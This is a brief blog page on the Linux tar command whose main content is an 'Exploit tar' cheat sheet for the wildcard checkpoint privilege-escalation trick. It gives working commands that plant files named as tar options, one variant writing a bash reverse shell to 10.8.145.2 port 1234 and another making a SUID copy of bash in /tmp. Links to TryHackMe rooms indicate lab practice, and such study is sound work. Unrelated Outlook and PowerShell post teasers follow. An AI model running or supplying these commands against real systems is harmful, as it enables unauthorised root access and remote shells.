Skip to main content

Linux command: tar

tar (Tape ARchive) - an archiving utility

Compress

Uncompress (extract)

Exploit tar

touch -- --checkpoint=1
touch -- "--checkpoint-action=exec=sh shell.sh"
echo -e "bash -c 'exec bash -i &>/dev/tcp/10.8.145.2/1234 <&1'" > shell.sh

Yet another version

touch -- --checkpoint=1
touch -- --checkpoint-action=exec=sh\ runme.sh
echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > runme.sh

Practice

>>> THM | Cyborg

>>> THM | VulnNet

>>> THM | Gila CMesS

>>> THM | Linux PrivEsc Arena - Task 17 - Cron (Wildcards)

Labels:

Popular posts from this blog

[Microsoft Outlook]: Set .pst and .ost files location with ForcePSTPath Registry Key

Set .pst and .ost files location with ForcePSTPath Registry Key The ForcePSTPath registry key is supported by Microsoft Outlook 2003 and later. In Microsoft Outlook 2003 and 2007, it applies to new profiles only. Microsoft Outlook 2013 and Outlook 2016 it applies to new accounts created in a profile. Microsoft Outlook 2013 saves .pst in   %userprofile%\Documents\Outlook Files folder by default. We can change that default setting by adding a new string registry key called ForcePSTPath and set the value to the folder that we want to save those files. Set Microsoft Outlook 2013 always save new .pst and .ost files to D:\Data\Mail folder OST file reached the maximum size The OST File Has Reached The Maximum Size
Read more

Powershell: Test-NetConnection

PS C:\Users\tuyen> get-help Test-NetConnection NAME     Test-NetConnection SYNTAX     Test-NetConnection [[-ComputerName] <string>] [-TraceRoute] [-Hops <int>] [-InformationLevel {Quiet |     Detailed}]  [<CommonParameters>]     Test-NetConnection [[-ComputerName] <string>] [-CommonTCPPort] {HTTP | RDP | SMB | WINRM}     [-InformationLevel {Quiet | Detailed}]  [<CommonParameters>]     Test-NetConnection [[-ComputerName] <string>] -Port <int> [-InformationLevel {Quiet | Detailed}]     [<CommonParameters>]     Test-NetConnection [[-ComputerName] <string>] -DiagnoseRouting [-ConstrainSourceAddress <string>]     [-ConstrainInterface <uint32>] [-InformationLevel {Quiet | Detailed}]  [<CommonParameters>] ALIASES     TNC REMARKS     Get-Help cannot find the Help files fo...
Read more

Powershell: Install IIS

Run Powershell as Administrator, then run the command below to install IIS. Install-WindowsFeature Web-WebServer Check after installing Get-WindowsFeature *Web*
Read more